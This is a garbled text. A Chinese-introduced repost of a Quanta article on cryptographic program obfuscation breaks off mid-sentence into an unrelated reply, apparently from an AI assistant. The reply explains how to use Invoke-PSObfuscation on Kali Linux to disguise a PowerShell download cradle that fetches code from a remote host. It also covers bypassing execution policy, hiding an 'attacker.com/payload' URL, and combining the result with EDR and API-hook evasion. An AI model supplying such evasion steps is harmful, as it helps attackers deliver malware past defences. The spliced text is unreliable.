外媒一篇关于program obfuscation的最近进展的报道

cited from:  https://www.simonsfoundation.org/quanta/20140130-perfecting-the-art-of-sensible-nonsense/

Perfecting the Art of Sensible Nonsense

这篇文章介绍了最近(2013年以来)在密码学界比较重要的一个突破的背景。

As a graduate student at the Massachusetts Institute of Technology in 1996,Amit Sahai was fascinated by the strange notion of a “zero-knowledge” proof, a type of mathematical protocol for convincing someone that something is true without revealing any details of why it is true. As Sahai mulled over this counterintuitive concept, it led him to consider an even more daring notion: What if it were possible to mask the inner workings not just of a proof, but of a computer program, so that people could use the program without being able to figure out how it worked?

The idea of “obfuscating” a program had been around for decades, but no one had ever developed a rigorous mathematical framework for the concept, let alone created an unassailable obfuscation scheme. Over the years, commercial software companies have engineered various techniques for garbling a computer program so that it will be harder to understand while still performing the same function. But hackers have defeated every attempt. At best, these commercial obfuscators offer a “speed bump,” said Sahai, now a computer science professor at the University of California, Los Angeles. “An attacker might need a few days to unlock the secrets hidden in your software, instead of a few minutes.”

Secure program obfuscation would be useful for many applications, such as protecting software patches, obscuring the workings of the chips that read encrypted DVDs, or encrypting the software controlling military drones. More futuristically, it would allow people to create autonomous virtual agents that they could send out into the computing “cloud” to act on their behalf. If, for example, you were heading to a remote cabin in the woods for a vacation, you could create and then obfuscate a computer program that would inform your boss about emails you received from an important client, or alert your sister if your bank balance dropped too low. Your passwords and other secrets inside the program would be safe.

“You could send that agent into the computing wild, including onto untrusted computers,” Sahai said. “It could be captured by the enemy, interrogated, and disassembled, but it couldn’t be forced to reveal your secrets.”

As Sahai pondered program obfuscation, however, he and several colleagues quickly realized that its potential far surpassed any specific applications. If a program obfuscator could be created, it could solve many of the problems that have driven cryptography for the past 40 years — problems about how to conduct secure interactions with people at, say, the other end of an Internet connection, whom you may not know or trust.

“A program obfuscator would be a powerful tool for finding plausible constructions for just about any cryptographic task you could conceive of,” said

<think>嗯,我需要帮助用户在KaliLinux中使用Invoke-PSObfuscation进行PowerShell脚本混淆。首先,回顾用户的问题和提供的引用,特别是引用[1]提到该工具可以在Windows和KaliLinux上使用,项目地址在GitHub。用户之前询问的是Invoke-Obfuscation,但根据引用[1]的名称是Invoke-PSObfuscation,可能拼写有差异,需要确认两者是否相同或是否有不同。查看引用[3]提到"工具的主要执行文件",说明可能存在执行脚本。接下来,用户的环境是KaliLinux,所以需要确保系统已安装必要的依赖,如PowerShell。引用[2]中的命令涉及PowerShell执行策略,说明在Linux上运行PowerShell命令需要先安装。步骤应包括安装PowerShell、下载工具、导入模块、执行混淆操作。同时,引用[4]展示了一个使用混淆后脚本的例子,可以作为测试混淆效果的参考。用户可能需要知道如何验证混淆后的脚本是否有效。在注意事项部分,引用[5]给出了一个状态码检查的脚本示例,可能需要提示用户测试混淆后的脚本在目标环境中的兼容性。此,需要考虑绕过执行策略的问题,如引用[2]中的-IEX(Invoke-Expression)方式,但引用[1]提到该工具自带编码功能,可能简化流程。最后,根据引用[1]的项目地址,用户需要正确克隆仓库,确保路径正确。需要提醒用户注意参数使用,如输入文件路径、输出位置,以及可能的混淆策略选择(如Token、String、Command等)。安全方面强调仅在授权环境下使用。</think> 以下是在Kali Linux中使用**Invoke-PSObfuscation**进行PowerShell脚本混淆的完整步骤(引用[1][3]),包含关键细节: ### 详细操作步骤 1. **安装PowerShell依赖** ```bash sudo apt update && sudo apt install -y powershell pwsh # 进入PowerShell交互环境 ``` 2. **下载工具(引用[1])** ```bash git clone https://gitcode.com/gh_mirrors/in/Invoke-PSObfuscation.git cd Invoke-PSObfuscation ``` 3. **导入模块(引用[3])** 在PowerShell环境中执行: ```powershell Import-Module ./Invoke-PSObfuscation.ps1 ``` 4. **执行混淆(核心操作)** ```powershell # 示例:混淆'http://x.x.x.x/b'下载字符串(引用[4]的简化) Invoke-PSObfuscation -ScriptBlock { (New-Object Net.WebClient).DownloadString('http://x.x.x.x/b') } -Command -All -OutputFile obfuscated.ps1 ``` **参数说明**: - `-Command`:混淆命令调用 - `-All`:启用所有混淆技术 - `-OutputFile`:输出文件路径 5. **测试混淆效果** ```powershell # 执行混淆后的脚本(需允许执行策略) Set-ExecutionPolicy Bypass -Scope Process -Force .\obfuscated.ps1 ``` ### 注意事项 1. **执行策略绕过**(引用[2][4]) 添加参数到混淆后的脚本头部: ```powershell powershell.exe -ExecutionPolicy Bypass -File obfuscated.ps1 ``` 2. **编码功能** 工具自带Base64编码功能(避免额处理): ```powershell Invoke-PSObfuscation ... -Encode -OutputCommand ``` 3. **网络请求混淆**(引用[4]) 对URL字符串使用`-String`策略: ```powershell Invoke-PSObfuscation -String "http://attacker.com/payload" -OutputCommand ``` ### 混淆策略对照表 | 参数 | 效果 | 适用场景 | |---------------|--------------------------|-----------------| | `-Token` | 重命名变量/函数 | 对抗静态分析 | | `-String` | 字符串分割/编码 | 隐藏关键URL/参数 | | `-Command` | 命令重组为不可读形式 | 规避命令检测 | | `-WhiteSpace` | 删除所有空格/换行 | 压缩脚本体积 | ### 验证建议(引用[5]) ```powershell # 检查混淆后脚本状态 $status = & .\obfuscated.ps1 *>&1 if ($LASTEXITCODE -eq 0) { "执行成功" } else { "需要调试" } ``` > **重要提示**:混淆后的脚本仍可能被高级EDR检测,建议配合其他规避技术(如API Hook绕过)使用。该工具仅限授权测试环境使用[^1]。
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